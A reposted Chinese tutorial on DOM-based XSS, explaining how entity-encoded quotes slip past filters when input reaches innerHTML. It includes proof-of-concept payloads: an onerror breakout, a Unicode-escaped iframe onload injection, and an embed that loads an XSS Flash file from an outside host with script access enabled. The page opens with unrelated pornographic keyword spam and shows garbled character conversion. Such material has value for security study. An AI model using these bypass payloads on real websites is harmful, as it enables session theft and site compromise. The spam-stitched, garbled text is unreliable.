人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

關(guān)于DOM xss跨站的一點點經(jīng)驗之談

發(fā)布日期:2022-01-24 15:03 | 文章來源:源碼中國
Xss的危害各位小牛 大牛們都意識到了Xss開始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用....
我們一般找到的都是大多數(shù)都停留在找直接輸入輸出上,這類型的一般很容易被過濾。
隱蔽型的就是DOM xss了.
也就是不是直接輸出的,


換句話話說,輸出內(nèi)容,在源代碼里看不到.
比如你這里這個的話, 你右鍵,查看源代碼的話 內(nèi)容都是直接可以看到的這種就是直接 輸入輸出的
這個就是直接輸出類型
對于查找DOM XSS的基本方法:
一般是這樣的, 先發(fā)一個正常的內(nèi)容,
然后F12打開調(diào)試工具(火狐Firebug插件);
定位到你發(fā)的內(nèi)容上,調(diào)試工具里,有一個箭頭,可以選擇網(wǎng)頁里指定的位置的.
然后看你發(fā)送的內(nèi)容里 有沒有什么隱藏的屬性 或自定義屬性
哦 通常的情況是<a href="xxx" title="你輸入的某句話">xxxxxxx</a>
而且,“你輸入的某句話” ,你直接查看源代碼是看不到的
換句話說, <a href="xxx" title="你輸入的某句話">xxxxxxx</a> 這個 是被動態(tài)產(chǎn)生的
這個時候,就有潛在的問題來了。 如果 “你輸入的某句話” 寫為xxxxxxxxx"><img><"
會變成<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
就會插入一個HTML標(biāo)簽進去了
但是 實際情況下," , > 都是被過濾的(到了這里一般的黑友會說轉(zhuǎn)義了過濾了啊沒得突破了-_-我曾經(jīng)也是這樣)
你輸入的某句話 寫為
xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot;
由于是動態(tài)產(chǎn)生的 最后&quot; 會自動變?yōu)?quot; 大家覺得很奇怪吧等下解釋
&gt;---> >
&lt; ----> <所以最后效果還是<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a> (而且很多程序員,沒有過濾& )
下面我們本地測試下

復(fù)制代碼
代碼如下:

<div id="m">x</div>
<script>
var x="內(nèi)容";
document.getElementById("m").innerHTML=x;
</script>

內(nèi)容就是我們輸入的內(nèi)容如<script> <iframe>各種標(biāo)簽= =,這些在一般網(wǎng)站輸入都被過濾了的 對< ' ">等等各種轉(zhuǎn)義了的話,我們突破就很難.
測試一下

復(fù)制代碼
代碼如下:

<script>
function test(n){
alert(n);}
</script> www.jb51.net
<img src="1" onerror="test('gainover')"></img>
<img src="1" onerror="test('gainover&#x27);+function(){alert(/xx/)}()//')"></img>&#x27

一個編碼列子再給大家寫個列子

復(fù)制代碼
代碼如下:

<div id="y"></div>
<img id="x" class="audio" src="xxxx" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf&quot;><embed src=&quot;http://xsst.sinaapp.com/Xss.swf&quot;type=&quot;application/x-shockwave-flash&quot;allowscriptaccess=&quot;always&quot;><#.mp3"></p> <script>
document.getElementById("y").innerHTML=document.getElementById("x").alt;
</script>xxx.innerHTML= yyy.

某個屬性- -成功編碼繞過("=&quot=&#39;)編碼問題不是我開發(fā)的別問我了-_-~!
我們還可以這樣來測試下

復(fù)制代碼
代碼如下:

<div id="m">x</div>
<script>
var x="\u003ciframe onload=alert(1)\u003e";
document.getElementById("m").innerHTML=x;
</script>

Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8
Xss安全測試字符轉(zhuǎn)換工具:http://app.baidu.com/app/enter?appid=280383
作者 90sec

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部